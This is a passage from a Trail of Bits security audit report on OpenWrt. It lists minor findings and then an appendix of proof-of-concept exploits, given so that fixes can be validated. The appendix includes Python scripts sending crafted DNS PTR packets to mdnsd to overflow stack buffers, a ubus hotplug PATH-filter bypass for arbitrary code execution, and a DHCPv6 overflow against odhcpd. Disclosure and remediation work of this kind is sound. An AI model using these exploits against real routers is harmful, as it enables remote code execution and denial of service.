- **Missing DHCP magic-cookie validation:** The `relayd_handle_dhcp_packet` function validates UDP packets destined for port 67 as DHCP traffic without verifying the mandatory DHCP magic cookie (0x63825363) in the options field. Adding a check for the magic cookie would adhere to the DHCP protocol.

- **Null-pointer dereference in ujail's cgroups_apply function:** When applying using ujail's J flag, an OCI bundle is parsed from a JSON file. If the JSON file does not include a `linux` key, the `cgroup_path` global variable will never be assigned a value and remain null. The global variable is later referenced in the `cgroups_apply` function, without checking if a value was assigned, leading to a null-pointer dereference.

```
{
  "ociVersion": "1.0.0",
  "process": {
    "terminal": true,
    "user": {
      "uid": 0,
      "gid": 0
    },
    "args": ["sh"],
    "env": [],
    "cwd": "/"
  },
  "root": {
    "path": "/",
    "readonly": true
  },
  "hostname": "example",
  "mounts": []
}
```

Figure B.2: A sample config.json file that can be used to trigger the null-pointer dereference

- **OOB write in the netfid.process API:** When processing calls to `netfid.process` from ucode scripts, there is an off-by-one error as a result of the way that `prefix_str` is processed before being assigned to `up->proc.log_prefix`. Before assigning the `prefix_str` to `up->proc.log_prefix`, memory of size `strlen(prefix_str) + 1` is allocated. Since `prefix_str` is a `char *`, incrementing it by one before calculating the length will yield a result that is one less than the actual string length. However, when the memory is allocated by ucode, `ucv_resource_new_ex` will round up to the nearest 8-byte memory allocation size. As such, if the length of `prefix_str` is evenly divisible by 8, the full size of the string will be allocated, without leaving room for the null byte. When the `prefix_str` is copied to the allocated memory, there will be an off-by-one error where the null byte will be written out of bounds. This is not a security issue, as ucode scripts must already be executing in order to trigger the OOB write, and ucode is not intended to run in a sandboxed context.

C. Proofs of Concept

Throughout the audit, we developed PoC exploits to validate and test certain findings. We provide these exploits here so they may be used to validate the remediation of their respective findings.

1. Stack Buffer Overflow in DNS PTR Query (TOB-OWRT-1)

An attacker can craft a malicious DNS PTR query containing specially formatted labels with non-printable bytes that expand to four bytes instead of one during DNS name decompression with `dn_expand`. When the expanded name is copied via `strcpy` into the 256-byte stack buffer, it triggers a stack buffer overflow, which an attacker can exploit to gain remote code execution.

```
import struct
from pwn import *

def poc():
    dns_hdr = struct.pack("!HHHHHH", 0x1234, 0x0000, 1, 0, 0, 0)

    labels = []
    raw_label = bytes([1]) * 60
    labels.extend([raw_label, raw_label])
    labels.extend([b'ip6', b'arpa'])

    qname = b''.join([struct.pack('B', len(l)) + l for l in labels]) + b"\x00"
    qtype_qclass = struct.pack("!HH", 12, 1)
    packet = dns_hdr + qname + qtype_qclass

    r = remote("127.0.0.1", 5353, typ='udp')
    r.send(packet)
    r.close()
poc()
```

Figure C.1: A PoC for **TOB-OWRT-1** that leads to a segmentation fault through a DNS PTR query

```
#include <vector>
#include <iostream>
#include <iomanip>
#include <resolv.h>
#include <arpa/nameser.h>
#include <cstring>

struct DNSHeader
{
    uint16_t id;
    uint16_t flags;
    uint16_t questions;
    uint16_t answers;
```

```

uint16_t authority;
uint16_t additional;

explicit DNSHeader(const uint16_t id = 0x1234, const uint16_t flags = 0x0000,
const uint16_t questions = 1,
                    const uint16_t answers = 0, const uint16_t authority = 0,
const uint16_t additional = 0)
    : id(id), flags(flags), questions(questions), answers(answers),
      authority(authority), additional(additional)
{
}
};

class DNSPacketBuilder
{
public:
    static std::vector<uint8_t> createCustomDNSPacket(
        const uint16_t transaction_id = 0x1234,
        const uint16_t flags = 0x0000,
        const std::vector<std::vector<uint8_t>>& custom_labels = {},
        const uint16_t qtype = 12,
        const uint16_t question_class = 1
    )
    {
        std::vector<uint8_t> packet;

        const DNSHeader header(transaction_id, flags);
        addDNSHeader(packet, header);

        addLabelsToPacket(packet, custom_labels);
        packet.push_back(0x00);

        addBigEndian16(packet, qtype);
        addBigEndian16(packet, question_class);

        return packet;
    }

private:
    static void addDNSHeader(std::vector<uint8_t>& packet, const DNSHeader& header)
    {
        addBigEndian16(packet, header.id);
        addBigEndian16(packet, header.flags);
        addBigEndian16(packet, header.questions);
        addBigEndian16(packet, header.answers);
        addBigEndian16(packet, header.authority);
        addBigEndian16(packet, header.additional);
    }

    static void addBigEndian16(std::vector<uint8_t>& packet, uint16_t value)
    {
        packet.push_back(static_cast<uint8_t>((value >> 8) & 0xFF));
        packet.push_back(static_cast<uint8_t>(value & 0xFF));
    }
};

```

```

    }

    static void addLabelsToPacket(std::vector<uint8_t>& packet, const
std::vector<std::vector<uint8_t>>& labels)
    {
        for (const auto& label : labels)
        {
            if (label.size() > 63)
            {
                throw std::runtime_error("Label too long (max 63 bytes)");
            }
            packet.push_back(static_cast<uint8_t>(label.size()));
            packet.insert(packet.end(), label.begin(), label.end());
        }
    }
};

void hexdump(void* ptr, const size_t length)
{
    const auto* buf = static_cast<unsigned char*>(ptr);
    int j;
    for (int i = 0; i < length; i += 16)
    {
        printf("%06x: ", i);
        for (j = 0; j < 16; j++)
            if (i + j < length)
                printf("%02x ", buf[i + j]);
            else
                printf("   ");
        printf(" ");
        for (j = 0; j < 16; j++)
            if (i + j < length)
                printf("%c", isprint(buf[i + j]) ? buf[i + j] : '.');
        printf("\n");
    }
}

int main()
{
    std::cout << "=== C++ DNS Packet Generator ===\n\n";
    const std::vector<std::vector<uint8_t>> custom_labels = {
        std::vector<uint8_t>(60, 0x01),
        {'i', 'p', '6'},
        {'a', 'r', 'p', 'a'}
    };
    const auto custom_packet = DNSPacketBuilder::createCustomDNSPacket(0x7777,
0x0100, custom_labels);
    std::cout << "=== dn_expand Test ===\n";
    char expanded[8096];
    const auto msg = custom_packet.data();
    const auto eom = msg + custom_packet.size();
    const auto compressed_name = msg + 12; // Skip DNS header

```

```

    const auto result = dn_expand(msg, eom, compressed_name, expanded,
sizeof(expanded));

    if (result > 0)
    {
        std::cout << "Expanded name length: " << strlen(expanded) << "\n";
        std::cout << "Consumed bytes: " << result << "\n\n";
        hexdump(expanded, strlen(expanded));
    }
    else
    {
        std::cout << "dn_expand failed with error: " << result << "\n";
    }
    return 0;
}

```

Figure C.2: A PoC for *TOB-OWRT-1* that can be used to test domain name expansion

2. Stack Buffer Overflow in IPv6 Reverse DNS Lookup (TOB-OWRT-2)

An attacker who can interact with the `mdnsd` service and is listening on port 5353 can perform an OOB write by making a PTR query for an IPv6 reverse DNS domain with a prefix longer than 46. The OOB write can lead to remote code execution by allowing the attacker to modify elements on the stack.

```

import struct
from pwn import *

def poc():
    header = struct.pack('!HHHHH', 0x1234, 0x0000, 1, 0, 0, 0)

    hex_chars = "0123456789abcdef"
    labels = []
    for i in range(3):
        label = ""
        for j in range(60):
            label += hex_chars[(i*60 + j) % 16]
        labels.append(label)

    name = f"{'.'.join(labels)}.ip6.arpa"
    encoded = b''
    for part in name.split('.'):
        if part:
            encoded += struct.pack('B', len(part)) + part.encode('ascii')
    encoded += b'\x00'

    qtype_qclass = struct.pack('!HH', 12, 1)

```

```

packet = header + encoded + qtype_qclass

r = remote("127.0.0.1", 5353, typ='udp')
r.send(packet)
r.close()

poc()

```

Figure C.3: PoC for *TOB-OWRT-2*

3. Command Execution via PATH Environment Variable Filter Bypass (TOB-OWRT-4)

The following PoC demonstrates how an attacker with low privileges and the ability to invoke the hotplug subsystem through the ubus interface can invoke the call method, specifying an arbitrary PATH variable that begins with the path to a writable location, thereby executing arbitrary code.

```

#!/usr/bin/env python3

import json
import subprocess
import sys
import os
import time

def get_ubus_socket():
    return os.environ.get('UBUS_SOCKET', '/var/run/ubus.sock')

def call_ubus_hotplug(subsystem, env_vars):
    env_array = [f"{key}={value}" for key, value in env_vars.items()]
    payload = {"env": env_array}

    cmd = ['ubus', '-s', get_ubus_socket(), 'call', f'hotplug.{subsystem}', 'call',
    json.dumps(payload)]
    print(f"[DEBUG] {' '.join(cmd)}")

    result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
    print(f"[DEBUG] Return code: {result.returncode}")

    return result.returncode == 0

def main():
    print("proc PATH Filter Bypass PoC")

```

```

print("Bug: strcmp(enve, 'PATH') vs strncmp(enve, 'PATH=', 5)")

if os.geteuid() != 0:
    print("Run as root")
    sys.exit(1)

try:
    subprocess.run(['ubus', '-s', get_ubus_socket(), 'list'],
capture_output=True, timeout=5, check=True)
except:
    print("ubus not available")
    sys.exit(1)

print("[DEBUG] Removing test files...")
for f in ["/tmp/SAMPLE"]:
    try:
        os.unlink(f)
        print(f"[DEBUG] Removed {f}")
    except:
        pass

env_vars = {
    "ACTION": "add",
    "SUBSYSTEM": "test",
    "DEVPATH": "/test",
    "PATH": "/tmp/hijack_bin:/usr/bin:/bin"
}

print("[DEBUG] Exploiting PATH bypass...")
call_ubus_hotplug("test", env_vars)

time.sleep(1)

for f in ["/tmp/SAMPLE"]:
    if os.path.exists(f):
        print(f"{f} exists")
        try:
            with open(f, 'r') as rf:
                print(f"    {rf.read().strip()}")
        except:
            pass
    else:
        print(f"{f} missing")

if __name__ == "__main__":

```

```
main()
```

Figure C.4: A PoC client for **TOB-OWRT-4** to bypass `PATH` environment variable filtering

4. Stack Buffer Overflow in DHCPv6 Identity Association Logging (TOB-OWRT-5)

An attacker with local access to a server running the `odhcpd` daemon and enough privileges to add IPv6 addresses to an interface can cause a stack buffer overflow to occur. The attacker can execute a series of `ip` commands to fill the interface with IPv6 addresses, then issue a DHCPv6 IA request to force the `dhcpv6_log` function to be invoked, causing a crash.

```
import socket
import struct
import time
import subprocess
import os
import sys

NS = "odhcpd_test"
IFACE = "test1"

def _ns_exec(cmd_args, timeout=5):
    return subprocess.run(["sudo", "ip", "netns", "exec", NS, *cmd_args],
        capture_output=True, text=True, timeout=timeout)

def main():
    if os.geteuid() != 0:
        return 1
    ps = _ns_exec(["pgrep", "odhcpd"], timeout=3)
    if ps.returncode != 0:
        return 1
    for i in range(64):
        addr = f"fd00::{100 + i}"
        _ns_exec(["ip", "-6", "addr", "add", f"{addr}/64", "dev", IFACE], timeout=3)
    xid = os.urandom(3)
    msg = struct.pack('!B3s', 1, xid)
    duid = b"\x00\x01\x00\x01" + b"\x00\x00\x00\x00" + b"\x02\x42\x42\x42\x42\x42"
    msg += struct.pack('!HH', 1, len(duid)) + duid
    msg += struct.pack('!HHH', 8, 2, 0)
    ia_na = struct.pack('!LLL', 0x01020304, 0, 0)
    msg += struct.pack('!HH', 3, len(ia_na)) + ia_na

    script = f"""
import socket, struct, sys
iface = sys.argv[1]
pkt_hex = sys.argv[2]
pkt = bytes.fromhex(pkt_hex)
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
```

```

sock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, iface.encode())
try:
    sock.bind("::", 546)
except Exception:
    sock.bind("::", 0)
sock.sendto(pkt, ("ff02::1:2", 547))
sock.close()
"""

script_path = f"/tmp/send_v6_{os.getpid()}.py"
with open(script_path, "w") as f:
    f.write(script)
try:
    res = subprocess.run(["sudo", "ip", "netns", "exec", NS,
                        "python3", script_path, IFACE, msg.hex()],
                        capture_output=True, text=True, timeout=5)
    if res.returncode != 0:
        return 1
finally:
    try:
        os.unlink(script_path)
    except Exception:
        pass

time.sleep(1)
_ns_exec(["pkill", "-USR1", "odhcpd"], timeout=3)
time.sleep(3)

result = subprocess.run([
    "sudo", "ip", "netns", "exec", "odhcpd_test", "pgrep", "odhcpd"
], capture_output=True, text=True, timeout=5)

if result.returncode != 0:
    print("poc was successful")
else:
    print("poc failed")

if __name__ == "__main__":
    sys.exit(main())

```

Figure C.5: PoC for *TOB-OWRT-5* that leads to a segmentation due to event logging

About Trail of Bits

Founded in 2012 and headquartered in New York, Trail of Bits provides technical security assessment and advisory services to some of the world's most targeted organizations. We combine high-end security research with a real-world attacker mentality to reduce risk and fortify code. With 100+ employees around the globe, we've helped secure critical software elements that support billions of end users, including Kubernetes and the Linux kernel.

We maintain an exhaustive list of publications at <https://github.com/trailofbits/publications>, with links to papers, presentations, public audit reports, and podcast appearances.

In recent years, Trail of Bits consultants have showcased cutting-edge research through presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, the O'Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon.

We specialize in software testing and code review assessments, supporting client organizations in the technology, defense, blockchain, and finance industries, as well as government entities. Notable clients include HashiCorp, Google, Microsoft, Western Digital, Uniswap, Solana, Ethereum Foundation, Linux Foundation, and Zoom.

To keep up with our latest news and announcements, please follow [@trailofbits on X](#) or [LinkedIn](#) and explore our public repositories at <https://github.com/trailofbits>. To engage us directly, visit our "Contact" page at <https://www.trailofbits.com/contact> or email us at info@trailofbits.com.

Trail of Bits, Inc.

228 Park Ave S #80688

New York, NY 10003

<https://www.trailofbits.com>

info@trailofbits.com

Notices and Remarks

Copyright and Distribution

© 2026 by Trail of Bits, Inc.

All rights reserved. Trail of Bits hereby asserts its right to be identified as the creator of this report in the United Kingdom.

Trail of Bits considers this report public information; it is licensed to OpenWrt under the terms of the project statement of work and has been made public at OpenWrt's request. Material within this report may not be reproduced or distributed in part or in whole without Trail of Bits' express written permission.

The sole canonical source for Trail of Bits publications is the [Trail of Bits Publications page](#). Reports accessed through sources other than that page may have been modified and should not be considered authentic.